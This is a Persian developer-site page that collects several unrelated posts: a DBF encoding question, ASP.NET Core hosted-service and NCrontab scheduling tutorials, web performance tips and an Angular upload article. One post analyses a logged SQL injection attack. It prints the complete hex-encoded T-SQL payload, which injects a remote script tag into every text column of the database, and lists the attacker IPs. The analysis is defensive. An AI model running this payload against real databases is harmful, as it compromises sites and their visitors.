نظرات اشتراک‌ها
تبدیلگر ایران سیستم به یونیکد

باسلام؛ من در رابطه با تبدیل کدهای ایران سیستم با یک مشکل متفاوت مواجه شدم که گویا خیلی خاص است چون ندیدم کسی در این رابطه سوالی مطرح کند و آن اینکه من فایل DBF را در فرم خود باز میکنم اما کدهای قبل از تبدیل به ویندوز که مشاهده میشه هیچ شباهتی به کدهای معادل در ایران سیستم ندارد و این تحت شرایطی است که من از فارسی بودن و تحت کدپیچ ایران سیستم بودن حروف آینDBF مطمئن هستم چون با برنامه‌های فارسی ساز اماده موجود در اینترنت کاملا درست فارسی میشود .
بعضی از دوستان راهنمایی کردن که اشکال در کانکشن و مشخص نکردن codepage=850 هست ولی باز هم نتیجه نگرفتم. کانکشنی که من استفاده میکنم :

 @"Driver={Microsoft dBASE Driver (*.dbf)};DriverID=850;SourceType=DBF;Data Source=" + FileAdress + ";Extended Properties=\"dBase III\";Locale Identifier=\"850\";"
وقتی این فایل را با برنامه دیگری باز کنم حروف را درست نشان میده ولی وقتی با برنامه خودم باز میکنم اشتباه نشان میده که عکس‌های ان را در زیر گذاشتم. نمونه کدهای غیر استاندارد و استاندارد همان DBF



در رابطه با مشکل حروف، dbf مورد نظر را نیز به پیوست ارسال میکنم: JVJ100.DBF

نظرات مطالب
روشی سریع برای ایجاد RSS و Sitemap در ASP.NET MVC
- «کجا باید این تابع فرخوانی کرد»
دقیقا مطابق مثالی که پیوست کردند، در اکشن متدی به همین نام. کار بیشتری هم لازم نیست انجام شود. هر زمانیکه یک موتور جستجو به سایت شما رسید، این آدرس را واکشی می‌کند (اینکه از کجا باید بداند این آدرس را نیاز است واکشی کند، مرتبط است به مباحث فایل robots.txt و قید صریح آدرس آن). پس از واکشی خودکار آن، از بانک اطلاعاتی گزارش تهیه کرده و لیستی از PostToXML را مطابق این مطلب بازگشت می‌دهید.
- « به نظر خودتون کدوم یک بهتره »
فرقی نمی‌کنند. خروجی نهایی یک استاندارد بیشتر ندارد.
نظرات مطالب
معرفی برنامه‌ی Subtitle Tools
یه نفر هم پیشنهاد اصلاح متون حاوی فارسی-انگلیسی رو برای زیرنویس ها داده بود که یه برنامه کوچولو براش نوشتم.
http://salarblog.wordpress.com/2010/04/18/correct-persian-english-text-to-display-in-left-to-right-direction/#comment-484

دانلود برنامه:
http://www.4shared.com/file/ET-QeiW7/PersianLeftToRightCorrection.html
نظرات مطالب
اجرای وظایف زمان بندی شده با Quartz.NET - قسمت دوم

- تولید درخواست به یک سایت کار سختی نیست. از این سرویس‌هایی که مدام سایت رو ping می‌کنند زیاد هست. مثل سرویس‌های فید خوان. مثل سایت‌هایی که بررسی می‌کنند سایت شما آپ است یا داون.

- نه الزاما. سرویس task scheduler ویندوز همیشه در حال اجرا است؛ دقیق و منظم. این سرویس می‌تونه خیلی راحت یک فایل exe معمولی یا حتی یک فایل bat رو در زمان‌های مشخصی اجرا کنه. برای کارهای مدیریت سیستم زیاد ازش استفاده می‌شه.

مطالب
حمله چینی‌ها به سایت‌های ایرانی !


چند روز پیش داشتم لاگ‌های خطای یکی از سایت‌هایی رو که درست کرده‌ام بررسی می‌کردم، متوجه حجم بالای فایل لاگ خطای آن شدم (در چند سایت مختلف این مورد مشابه را دیدم). پس از بررسی، مورد زیر بسیار جالب بود:

Log Entry :

Error Raw Url :/show.aspx?id=15;DECLARE%20@S%20CHAR(4000);SET%20@S=
CAST(0x4445434C415245204054207661726368617228323535292C404
32076617263686172283430303029204445434C415245205461626C655F4375727
36F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616
D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220
776865726520612E69643D622E696420616E6420612E78747970653D27752720616E
642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78
747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D3
02920424547494E20657865632827757064617465205B272B40542B275D20736574205B
272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B4
0432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6
A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20
205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461
626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

IP=120.129.71.187

vahidnasiri.blogspot.com


خوب این چی هست؟!
قبل از اینکه با اجرای عبارت SQL فوق به صورت تستی و محض کنجکاوی، کل دیتابیس جاری (SQL server) را آلوده کنیم می‌شود تنها قسمت cast آنرا مورد بررسی قرار داد. برای مثال به صورت زیر:
print CAST(0x444... AS CHAR(4000))

خروجی، عبارت زیر خواهد بود که به صورت استادانه‌ای مخفی شده است:

DECLARE @T varchar(255),

@C varchar(4000)

DECLARE Table_Cursor CURSOR

FOR

SELECT a.name,

b.name

FROM sysobjects a,

syscolumns b

WHERE a.id = b.id

AND a.xtype = 'u'

AND (

b.xtype = 99

OR b.xtype = 35

OR b.xtype = 231

OR b.xtype = 167

)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

.....

عبارت T-SQL فوق، تمامی فیلدهای متنی (varchar ، char ، text و امثال آن) کلیه جداول دیتابیس جاری را پیدا کرده و به آن‌ها اسکریپتی را اضافه می‌کند. (آدرس‌های فوق وجود ندارد و بنابراین ارجاع آن صرفا سبب کندی شدید باز شدن صفحات سایت خواهد شد بدون اینکه نمایش ظاهری خاصی را مشاهده نمائید)

این حمله اس کیوال موفق نبود. علت؟
اگر به آدرس بالا دقت کنید آدرس صفحه به show.aspx?id=15 ختم می‌شود. برای مثال نمایش خبر شماره 15 در سایت. در اینجا، هدف، دریافت یک عدد صحیح از طریق query string است و نه هیچ چیز دیگری. بنابراین قبل از انجام هر کاری و تنها با بررسی نوع داده دریافتی، این نوع حملات عقیم خواهند شد. (برای مثال بکارگیری ...int.Parse(Request) در صورت عدم دریافت یک متغیر عددی، سبب ایجاد یک exception شده و برنامه در همین نقطه متوقف می‌شود)


IP های زیر حمله بالا رو انجام دادند:
IP=61.153.33.106
IP=211.207.124.182
IP=59.63.97.18
IP=117.88.137.174
IP=58.19.130.130
IP=121.227.61.188
IP=125.186.252.99
IP=218.79.55.50
IP=125.115.2.4
IP=221.11.190.75
IP=120.129.71.187
IP=221.205.71.199
IP=59.63.97.18
IP=121.227.61.188

این آی پی‌ها یا چینی هستند یا کره‌ای و البته الزامی هم ندارد که حتما متعلق به این کشورها باشند (استفاده از پروکسی توسط یک "هم‌وطن" برای مثال).

حالا شاید سؤال بپرسید که چرا از این اعداد هگز استفاده کرده‌اند؟ چرا مستقیما عبارت sql را وارد نکرده‌اند؟
همیشه ورودی ما از یک کوئری استرینگ عدد نخواهد بود (بسته به طراحی برنامه). در این موارد بررسی اعتبار کوئری استرینگ وارد شده بسیار مشکل می‌شود. برای مثال می‌شود تابعی طراحی کرد که اگر در مقدار دریافتی از کوئری استرینگ، select یا insert یا update و امثال آن وجود داشت، به صورت خودکار آنها را حذف کند. اما استفاده از cast فوق توسط فرد مهاجم، عملا این نوع روش‌ها را ناکارآمد خواهد کرد. برای مقابله با این حملات اولین اصلی را که باید به‌خاطر داشت این است: به کاربر اجازه انشاء نوشتن ندهید! اگر قرار است طول رشته دریافتی مثلا 32 کاراکتر باشد، او حق ندارد بیشتر از این مقداری را وارد نماید (به طول بیش از اندازه رشته وارد شده فوق دقت نمائید).
و موارد دیگری از این دست (شامل تنظیمات IIS ، روش‌های صحیح استفاده از ADO.NET برای مقابله با این نوع حملات و غیره) که خلاصه آن‌ها را در کتاب فارسی زیر می‌توانید پیدا کنید:
http://naghoos-andisheh.ir/product_info.php?products_id=197


مطالب
چگونه نرم افزارهای تحت وب سریعتری داشته باشیم؟ قسمت دوم
قسمت اول 

4. فشرده سازی HTTP را فعال کنید
اطمینان حاصل کنید که HTTP Compression در تمامی بخش‌های اصلی برنامه شما فعال است. حداقل کاری که می‌توانید در این رابطه بکنید این است که خروجی HTML که توسط برنامه شما تولید می‌شود را فشرده سازی کنید. جهت فعال سازی فشرده سازی در برنامه خود بهتر است در اولویت اول از ماژول ویژه ای که جهت این کار در IIS در نظر گرفته شده استفاده کنید. این ماژول تمامی کارها را به صورت خودکار برای شما انجام می‌دهد. اگر دسترسی به IIS جهت فعال سازی آن را ندارید، می‌توانید از ماژول‌های ASP.NET که جهت این کار تهیه شده استفاده کنید. می‌توانید کمی جستجو کنید و یا خودتان یکی تهیه کنید!

5.تنظیم CacheControlMaxAge
مقدار CacheControlMaxAge را در فایل web.config را طوری تنظیم کنید تا هیچ کاربری هیچ فایل static را دیگر درخواست نکند. مثلا می‌توانید این مقدار را بر روی چند ماه تنظیم کنید و البته فراموش نکنید این مقدار را در صفحات پویای خود بازنویسی (override) کنید تا مشکلی در رابطه با کش شدن فرم‌های اصلی برنامه (همانطور که در نکته اول بخش اول ذکر شد) پدید نیاید. البته کش کردن فایل‌های استاتیک برنامه بار مالی نیز برای شما و کاربرانتان خواهد داشت. دیگر هزینه پهنای باند اضافی جهت دانلود این فایل‌ها در هر درخواست برای شما (در سمت سرور) و کاربرانتان (در سمت کاربر) پرداخت نخواهد شد!

6. استفاده از OutputCache 
اگر از MVC استفاده می‌کنید، فراموش نکنید که از OutputCache در کنترل‌های MVC استفاده نمایید. اگر سرور شما بتواند اطلاعات را از رم خود بازیابی کند بهتر از آن است که آن را مجدد از دیتابیس واکشی نماید و عملیاتی نیز بر روی آن انجام دهد. البته مدیریت حافظه .NET به صورت خودکار کمبود حافظه را مدیریت کرده و از نشت حافظه جلوگیری خواهد کرد. برای توضیحات بیشتر در این رابطه می‌توانید از این مقاله کمک بگیرید.

7. بهره برداری از ORM Profiler
ORM Profiler ها تمامی فعالیت‌های ORM تحت نظر گرفته، دستورات T-SQL ارسالی به بانک اطلاعاتی را واکشی کرده و برای شما نمایش می‌دهند. تعدادی از آنها نیز این دستورات را آنالیز کرده پیشنهاداتی در رابطه با بهبود کارایی به شما ارائه می‌دهند. برای مثال به جای اینکه شما 2000 رکورد را یکی یکی از بانک بازیابی کنید، می‌توانید آن را به صورت یک query به بانک ارسال کنید. این موضوع به سادگی توسط ORM Profiler‌ها قابل بررسی است. نمونه ای از این نرم افزارها را می‌توانید در این سایت یا این سایت   پیدا کنید. البته در صورتی که نمی‌خواهید از نرم افزارهای جانبی استفاده کنید، می‌توانید از ابزارهای توکار بانک‌های اطلاعاتی مانند SQL Profiler نیز استفاده کنید (راهنمایی).
مطالب
پشتیبانی توکار از انجام کارهای پس‌زمینه در ASP.NET Core 2x
از زمان ASP.NET Core 2.1، قابلیت جدیدی به نام Generic Host، به آن اضافه شده‌است که از آن می‌توان برای انجام کارهای متداول پس زمینه، مانند ارسال ایمیل‌های خبرنامه‌ی یک برنامه، تهیه فایل‌های پشتیبان و غیره استفاده کرد.


Generic Host چیست؟

Generic Host یکی از ویژگی‌های جدید ASP.NET Core 2.1 است. هدف آن جداسازی HTTP pipeline برنامه، از Web Host API آن است. یکی از مزایای این‌کار، امکان استفاده‌ی از آن نه فقط در پروژه‌های وب، بلکه در پروژه‌های کنسول نیز می‌باشد. به این ترتیب می‌توان کارهای غیر HTTP را از برنامه‌ی وب مجزا کرد تا به کارآیی بیشتری رسید و برای این منظور اینترفیس IHostedService را که در فضای نام Microsoft.Extensions.Hosting قرار دارد، برای ثبت کارهای پس‌زمینه‌ی خارج از اعمال web host جاری، ارائه داده‌اند:
namespace Microsoft.Extensions.Hosting
{
    public interface IHostedService
    {
        Task StartAsync(CancellationToken cancellationToken);
        Task StopAsync(CancellationToken cancellationToken);
    }
}
بنابراین برای ایجاد یک HostedService، نیاز است سرویس کارهای پس‌زمینه‌ی ما، اینترفیس IHostedService را پیاده سازی کند. متد StartAsync آن جائی‌است که تنها یکبار پس از آغاز برنامه اجرا می‌شود و هدف آن اجرای کار پس‌زمینه‌ی مدنظر است. متد StopAsync نیز دقیقا پیش از خاتمه‌ی برنامه فراخوانی خواهد شد تا اگر نیاز به پاکسازی منابعی وجود داشته باشد، بتوان از این فرصت استفاده کرد. به این ترتیب اگر نیاز به اجرای متناوب کار پس‌زمینه‌ای وجود دارد، پیاده سازی آن به خود ما واگذار شده‌است.


یک مثال: معرفی کار پس‌زمینه‌ای که هر دو ثانیه یکبار انجام می‌شود

در SampleHostedService زیر، عبارت Hosted service executing به همراه زمان جاری، هر دو ثانیه یکبار لاگ می‌شود و اگر برنامه را توسط دستور dotnet run اجرا کنید، می‌توانید خروجی آن‌را در کنسول، مشاهده کنید:
using System;
using System.Threading;
using System.Threading.Tasks;
using Microsoft.Extensions.Hosting;
using Microsoft.Extensions.Logging;

namespace MvcTest
{
    public class SampleHostedService : IHostedService
    {
        private readonly ILogger<SampleHostedService> _logger;

        public SampleHostedService(ILogger<SampleHostedService> logger)
        {
            _logger = logger;
        }

        public async Task StartAsync(CancellationToken cancellationToken)
        {
            _logger.LogInformation("Starting Hosted service");

            while (!cancellationToken.IsCancellationRequested)
            {
                _logger.LogInformation("Hosted service executing - {0}", DateTime.Now);
                await Task.Delay(TimeSpan.FromSeconds(2), cancellationToken);
            }
        }

        public Task StopAsync(CancellationToken cancellationToken)
        {
            _logger.LogInformation("Stopping Hosted service");
            return Task.CompletedTask;
        }
    }
}
در ادامه برای معرفی این کار پس‌زمینه به سیستم به صورت یک سرویس با طول عمر Singleton خواهیم داشت:
namespace MvcTest
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddSingleton<IHostedService, SampleHostedService>();
روش دیگر انجام اینکار استفاده از متد الحاقی AddHostedService است:
services.AddHostedService<SampleHostedService>();
مزیت اینکار این است که متد Configure واقع در کلاس Startup یک چنین امضایی را دارد:
 public void Configure(IApplicationBuilder app, IHostingEnvironment env)
و IHostingEnvironment هم در فضای نام Microsoft.AspNetCore.Hosting واقع شده‌است و هم در فضای نام Microsoft.Extensions.Hosting که IHostedService در آن قرار دارد. به همین جهت چون متد AddHostedService، تعریف IHostedService را مخفی می‌کند، خطای زمان کامپایلی را جهت مشخص سازی صریح فضای نام  IHostingEnvironment دریافت نخواهید کرد:
Startup.cs(82,56): error CS0104: 'IHostingEnvironment' is an ambiguous reference between
'Microsoft.AspNetCore.Hosting.IHostingEnvironment' and 'Microsoft.Extensions.Hosting.IHostingEnvironment'


مشکلات پیاده سازی کار پس‌زمینه‌ی SampleHostedService فوق

هر چند اگر مثال فوق را اجرا کنید، خروجی مناسبی را دریافت خواهید کرد، اما دارای این اشکال مهم نیز هست:
D:\MvcTest>dotnet run
info: MvcTest.SampleHostedService[0]
      Starting Hosted service
info: MvcTest.SampleHostedService[0]
      Hosted service executing - 02/19/2019 14:45:10
info: MvcTest.SampleHostedService[0]
      Hosted service executing - 02/19/2019 14:45:12
info: MvcTest.SampleHostedService[0]
      Hosted service executing - 02/19/2019 14:45:14
Ctrl+C
Application is shutting down...
Hosting environment: Development
Content root path: D:\MvcTest
Now listening on: https://localhost:5001
Now listening on: http://localhost:5000
Application started. Press Ctrl+C to shut down.
پس از اجرای دستور dotnet run، سرویس پس زمینه شروع به کار کرده‌است. پس از مدتی کلیدهای Ctrl+C را فشرده‌ایم تا این حلقه‌ی بی‌نهایت و برنامه خاتمه یابد. اینجا است که مشاهده می‌کنید تازه قسمت هاست برنامه‌ی وب ما شروع به کار کرده‌است؛ یعنی دقیقا زمانیکه پروسه‌ی برنامه در حال خاتمه یافتن است. چرا اینگونه رفتار کرده‌است؟
از دیدگاه ASP.NET Core، یک کار پس زمینه زمانی خاتمه یافته محسوب می‌شود که متد StartAsync، مقدار Task.CompletedTask را بازگرداند؛ در غیراینصورت، در حال اجرا درنظر گرفته می‌شود و چون در پیاده سازی فوق این نکته رعایت نشده‌است، این Task همواره در حال اجرا و خاتمه نیافته محسوب می‌شود و نوبت به مابقی کارها نخواهد رسید. همچنین در قسمت StopAsync نیز بهتر است یک فیلد CancellationTokenSource تعریف شده‌ی در سطح کلاس را مورد استفاده قرار داد و متد Cancel آن‌را فراخوانی کرد تا اطلاع رسانی صحیحی را به متد StartAsync در مورد خاتمه‌ی برنامه، انجام دهد.
برای این منظور و جهت ساده سازی و پیاده سازی تمام این نکات، از اینترفیس خام IHostedService، یک کلاس abstract به نام BackgroundService نیز در فضای نام Microsoft.Extensions.Hosting پیش بینی شده‌است:
namespace Microsoft.Extensions.Hosting
{
    public abstract class BackgroundService : IHostedService, IDisposable
    {
        protected BackgroundService();
        public virtual void Dispose();
        public virtual Task StartAsync(CancellationToken cancellationToken);
        public virtual Task StopAsync(CancellationToken cancellationToken);
        protected abstract Task ExecuteAsync(CancellationToken stoppingToken);
    }
}
برای استفاده‌ی از آن تنها کافی است متد ExecuteAsync آن‌را پیاده سازی کنیم. به این ترتیب اینبار پیاده سازی SampleHostedService به صورت زیر تغییر می‌کند:
namespace MvcTest
{
    public class PrinterHostedService : BackgroundService
    {
        private readonly ILogger<SampleHostedService> _logger;

        public PrinterHostedService(ILogger<SampleHostedService> logger)
        {
            _logger = logger;
        }

        protected override async Task ExecuteAsync(CancellationToken stoppingToken)
        {
            _logger.LogInformation("Starting Hosted service");

            while (!stoppingToken.IsCancellationRequested)
            {
                _logger.LogInformation("Hosted service executing - {0}", DateTime.Now);
                await Task.Delay(TimeSpan.FromSeconds(2), stoppingToken);
            }
        }
    }
}
اینبار اگر این کار پس‌زمینه را به سیستم معرفی:
namespace MvcTest
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddHostedService<PrinterHostedService>();
و سپس برنامه را اجرا کنیم:
D:\MvcTest>dotnet run
Hosting environment: Development
infoContent root path: D:\MvcTest
Now listening on: https://localhost:5001
Now listening on: http://localhost:5000
Application started. Press Ctrl+C to shut down.
: MvcTest.SampleHostedService[0]
      Starting Hosted service
info: MvcTest.SampleHostedService[0]
      Hosted service executing - 02/19/2019 15:00:23
info: MvcTest.SampleHostedService[0]
      Hosted service executing - 02/19/2019 15:00:25
info: MvcTest.SampleHostedService[0]
      Hosted service executing - 02/19/2019 15:00:27
Application is shutting down...
^C
مشاهده می‌کنیم که ابتدا هاست وب برنامه شروع به کار کرده‌است و سپس سرویس انجام کارهای پس‌زمینه در حال اجرا است و به این ترتیب اجرای این سرویس پس‌زمینه، تداخلی را در کار برنامه‌ی وب ایجاد نکرده‌است. بنابراین از این پس بجای استفاده‌ی از IHostedService خام، از نمونه‌ی بهبود یافته‌ی BackgroundService آن استفاده کنید.


یک نکته: تزریق وابستگی DbContext برنامه در یک سرویس کار پس‌زمینه

IHostedServiceها با طول عمر singleton به سیستم تزریق وابستگی‌ها معرفی می‌شوند. در این حالت اگر سرویس‌هایی با طول عمر transient و یا scoped را به آن‌ها تزریق کنید، دیگر طول عمر مدنظر شما را نداشته و آن‌ها هم به صورت singleton عمل خواهند کرد. هر چند خود سیستم تزریق وابستگی‌های NET Core. با صدور استثنائی، از این مساله جلوگیری می‌کند (در این مورد در مطالب «مهارت‌های تزریق وابستگی‌ها در برنامه‌های NET Core. - قسمت چهارم - پرهیز از الگوی Service Locator در برنامه‌های وب» و همچنین «قسمت سوم - رهاسازی منابع سرویس‌های IDisposable» بیشتر بحث شده‌است). یک چنین مواردی را به صورت زیر با تزریق IServiceScopeFactory و ساخت صریح یک Scope می‌توان مدیریت کرد:
using System;
using System.Threading;
using System.Threading.Tasks;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Hosting;

public abstract class ScopedBackgroundService : BackgroundService
{
    private readonly IServiceScopeFactory _serviceScopeFactory;

    public ScopedBackgroundService(IServiceScopeFactory serviceScopeFactory)
    {
        _serviceScopeFactory = serviceScopeFactory;
    }

    protected override async Task ExecuteAsync(CancellationToken stoppingToken)
    {
        using (var scope = _serviceScopeFactory.CreateScope())
        {
            await ExecuteInScope(scope.ServiceProvider, stoppingToken);
        }
    }

    public abstract Task ExecuteInScope(IServiceProvider serviceProvider, CancellationToken stoppingToken);
}
از این پس برای تعریف کارهای پس‌زمینه‌ای که نیاز به تزریق سرویس‌هایی با طول عمر Scoped یا Transient دارند، می‌توان کلاس سرویس وظیفه را از ScopedBackgroundService مشتق کرد و سپس متد ExecuteInScope آن‌را پیاده سازی نمود. serviceProvider ای که در اینجا در اختیار مصرف کننده قرار می‌گیرد، داخل Scope قرار دارد و توسط آن می‌توان سرویس‌های مدنظر را توسط متدهایی مانند serviceProvider.GetRequiredService، دریافت کرد.


طراحی سرویس کارهای پس‌زمینه‌ی زمان‌بندی شده

ASP.NET Core، متد ExecuteAsync را یکبار بیشتر اجرا نمی‌کند. بنابراین پیاده سازی تایمری که بخواهد برای مثال ارسال ایمیل‌های خبرنامه‌ی سایت را هر روز ساعت 11 شب انجام دهد، به خود ما واگذار شده‌است. برای پیاده سازی بهتر این تایمر می‌توان از کتابخانه‌ی NCrontab که توسط نویسنده‌ی کتابخانه‌ی معروف ELMAH تهیه شده‌است، استفاده کرد که با برنامه‌های NET Core. نیز سازگاری دارد:
 dotnet add package ncrontab
عبارات Cron، روش بسیار متداولی برای تعریف و انجام کارهای زمانبندی شده در سیستم‌های لینوکسی هستند. برای مثال عبارت * * * 0 1 سبب اجرای یک وظیفه، هر روز یک دقیقه پس از نیمه‌شب، می‌شود و فرمت کلی 5 قسمتی آن، به صورت زیر است:
┌───────────── minute (0 - 59) 
│ ┌───────────── hour (0 - 23) 
│ │ ┌───────────── day of month (1 - 31) 
│ │ │ ┌───────────── month (1 - 12) 
│ │ │ │ ┌───────────── day of week (0 - 6) (Sunday to Saturday; 
│ │ │ │ │                                       7 is also Sunday on some systems) 
│ │ │ │ │ 
│ │ │ │ │ 
* * * * *
و یا عبارت 6 قسمتی آن چنین مفهومی را دارد:
* * * * * *
- - - - - -
| | | | | |
| | | | | +--- day of week (0 - 6) (Sunday=0)
| | | | +----- month (1 - 12)
| | | +------- day of month (1 - 31)
| | +--------- hour (0 - 23)
| +----------- min (0 - 59)
+------------- sec (0 - 59)
اگر ScopedBackgroundService فوق را با CrontabSchedule یاد شده ترکیب کنیم، می‌توانیم به یک کلاس abstract دیگر برسیم که طراحی کلاس پایه‌ی اجرای کارهای زمانبندی شده را ارائه می‌دهد:
using System;
using System.Threading;
using System.Threading.Tasks;
using Microsoft.Extensions.DependencyInjection;
using NCrontab;
using static NCrontab.CrontabSchedule;

public abstract class ScheduledScopedBackgroundService : ScopedBackgroundService
{
    private CrontabSchedule _schedule;
    private DateTime _nextRun;

    protected abstract string Schedule { get; }

    public ScheduledScopedBackgroundService(IServiceScopeFactory serviceScopeFactory)
     : base(serviceScopeFactory)
    {
        _schedule = CrontabSchedule.Parse(Schedule, new ParseOptions { IncludingSeconds = true });
        _nextRun = _schedule.GetNextOccurrence(DateTime.Now);
    }

    public override async Task ExecuteInScope(IServiceProvider serviceProvider, CancellationToken stoppingToken)
    {
        do
        {
            var now = DateTime.Now;
            if (now > _nextRun)
            {
                await ScheduledExecuteInScope(serviceProvider, stoppingToken);
                _nextRun = _schedule.GetNextOccurrence(DateTime.Now);
            }
            await Task.Delay(1000, stoppingToken); //1 second delay
        }
        while (!stoppingToken.IsCancellationRequested);
    }

    public abstract Task ScheduledExecuteInScope(IServiceProvider serviceProvider, CancellationToken stoppingToken);
}
این کلاس پایه، توسط متد CrontabSchedule.Parse، مقدار رشته‌ای Schedule را با فرمت Cron (فرمت 6 قسمتی که دارای ثانیه هم هست) دریافت و پردازش می‌کند. سپس متد GetNextOccurrence، زمان بعدی اجرای این وظیفه را مشخص می‌کند.
روش استفاده‌ی از آن برای تعریف یک وظیفه‌ی جدید نیز به صورت زیر است:
using System;
using System.Threading;
using System.Threading.Tasks;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Logging;

public class MyScheduledTask : ScheduledScopedBackgroundService
{
    private readonly ILogger<MyScheduledTask> _logger;

    public MyScheduledTask(
        IServiceScopeFactory serviceScopeFactory,
        ILogger<MyScheduledTask> logger) : base(serviceScopeFactory)
    {
        _logger = logger;
    }

    protected override string Schedule => "*/10 * * * * *"; //Runs every 10 seconds

    public override Task ScheduledExecuteInScope(IServiceProvider serviceProvider, CancellationToken stoppingToken)
    {
        _logger.LogInformation("MyScheduledTask executing - {0}", DateTime.Now);
        return Task.CompletedTask;
    }
}
در اینجا ابتدا کار با پیاده سازی کلاس پایه ScheduledScopedBackgroundService شروع می‌شود. سپس باید مقدار Schedule را با فرمت 6 قسمتی مشخص کرد. برای مثال در سرویس فوق، این تنظیم سبب اجرای هر 10 ثانیه یکبار این وظیفه می‌گردد. در آخر، خود وظیفه داخل متد ScheduledExecuteInScope تعریف خواهد شد که serviceProvider دریافتی آن، داخل یک Scope قرار دارد.
روش معرفی آن به سیستم نیز مانند قبل است:
namespace MvcTest
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddHostedService<MyScheduledTask>();
در این حالت اگر برنامه را اجرا کنید، یک چنین خروجی را که بیانگر اجرای هر 10 ثانیه یکبار وظیفه‌ی تعریف شده‌است، مشاهده می‌کنید:
D:\MvcTest>dotnet run
Hosting environment: Development
Content root path: D:\MvcTest
Now listening on: https://localhost:5001
Now listening on: http://localhost:5000
Application started. Press Ctrl+C to shut down.
info: MyScheduledTask[0]
      MyScheduledTask executing - 02/19/2019 19:18:50
info: MyScheduledTask[0]
      MyScheduledTask executing - 02/19/2019 19:19:00
info: MyScheduledTask[0]
      MyScheduledTask executing - 02/19/2019 19:19:10
Application is shutting down...
^C
نظرات مطالب
تاریخ شمسی برای blogger !
آقای نصیری شرمنده . میخواستم بدونم اگر کدهای بخش دوم رو به وبلاگ اضافه کنیم ، آرشیو به خورشیدی تبدیل میشه؟ من این کار رو کردم و تغییریی نکرد

من متوجه این بخش از توضیحاتتون نمیشم :ممکن بیشتر توضیح بدهید؟

"یعنی ما باید متن هرچی heading شروع شده با h2 و دارای کلاس date-header را پیدا کنیم و بعد معادل فارسی آن‌را جایگزین کنیم."
مطالب
بررسی روش آپلود فایل‌ها از طریق یک برنامه‌ی Angular به یک برنامه‌ی ASP.NET Core
پیشنیازها
«بررسی روش آپلود فایل‌ها در ASP.NET Core»
«ارسال فایل و تصویر به همراه داده‌های دیگر از طریق jQuery Ajax»
- در مطلب اول، روش دریافت فایل‌ها از کلاینت، در سمت سرور و ذخیره سازی آن‌ها در یک برنامه‌ی ASP.NET Core بررسی شده‌است که کلیات آن در اینجا نیز صادق است.
- در مطلب دوم، روش کار با FormData استاندارد بررسی شده‌است. هرچند در مطلب جاری از jQuery استفاده نمی‌شود، اما نکات نحوه‌ی کار با شیء FormData استاندارد، در اینجا نیز یکی است.


تدارک مقدمات مثال این قسمت

این مثال در ادامه‌ی همین سری کار با فرم‌های مبتنی بر قالب‌ها است. به همین جهت ابتدا ماژول جدید UploadFile را به آن اضافه می‌کنیم:
 >ng g m UploadFile -m app.module --routing
همچنین به فایل app.module.ts مراجعه کرده و UploadFileModule را بجای UploadFileRoutingModule در قسمت imports معرفی می‌کنیم. سپس به این ماژول جدید، کامپوننت فرم ثبت یک درخواست پشتیبانی را اضافه خواهیم کرد:
 >ng g c UploadFile/UploadFileSimple
که اینکار سبب به روز رسانی فایل upload-file.module.ts و افزوده شدن UploadFileSimpleComponent به قسمت declarations آن می‌شود.
در ادامه کلاس مدل معادل فرم ثبت نام یک درخواست پشتیبانی را تعریف می‌کنیم:
 >ng g cl UploadFile/Ticket
با این محتوا:
export class Ticket {
  constructor(public description: string = "") {}
}
در اینجا Ticket تعریف شده دارای یک خاصیت توضیحات است و این فرم به همراه فیلد ارسال چندین فایل نیز می‌باشد که نیازی به درج آن‌ها در کلاس فوق نیست:



ایجاد مقدمات کامپوننت UploadFileSimple و قالب آن

پس از ایجاد ساختار کلاس Ticket، یک وهله از آن‌را به نام model ایجاد کرده و در اختیار قالب آن قرار می‌دهیم:
import { Ticket } from "./../ticket";

export class UploadFileSimpleComponent implements OnInit {
  model = new Ticket();
سپس قالب این کامپوننت و یا همان فایل upload-file-simple.component.html را به صورت ذیل تکمیل می‌کنیم:
<div class="container">
  <h3>Support Form</h3>
  <form #form="ngForm" (submit)="submitForm(form)" novalidate>
    <div class="form-group" [class.has-error]="description.invalid && description.touched">
      <label class="control-label">Description</label>
      <input #description="ngModel" required type="text" class="form-control"
        name="description" [(ngModel)]="model.description">
      <div *ngIf="description.invalid && description.touched">
        <div class="alert alert-danger"  *ngIf="description.errors.required">
          description is required.
        </div>
      </div>
    </div>

    <div class="form-group">
      <label class="control-label">Screenshot(s)</label>
      <input #screenshotInput required type="file" multiple (change)="fileChange($event)"
        class="form-control" name="screenshot">
    </div>

    <button class="btn btn-primary" [disabled]="form.invalid" type="submit">Ok</button>
  </form>
</div>
در اینجا ابتدا فیلد توضیحات درخواست جدید، ارائه و به خاصیت model.description متصل شده‌است. همچنین این فیلد با ویژگی required مزین، و اجباری بودن آن بررسی گردیده‌است.
سپس در انتها، فیلد آپلود را مشاهده می‌کنید؛ با این ویژگی‌ها:
الف) ngModel ایی به آن متصل نشده‌است؛ چون روش کار با آن متفاوت است.
ب) یک template reference variable به نام screenshotInput# در آن تعریف شده‌است. از این متغیر، در کامپوننت قالب استفاده خواهیم کرد.
ج) به رخ‌داد change این کنترل، متد fileChange متصل شده‌است که رخ‌داد جاری را نیز دریافت می‌کند.
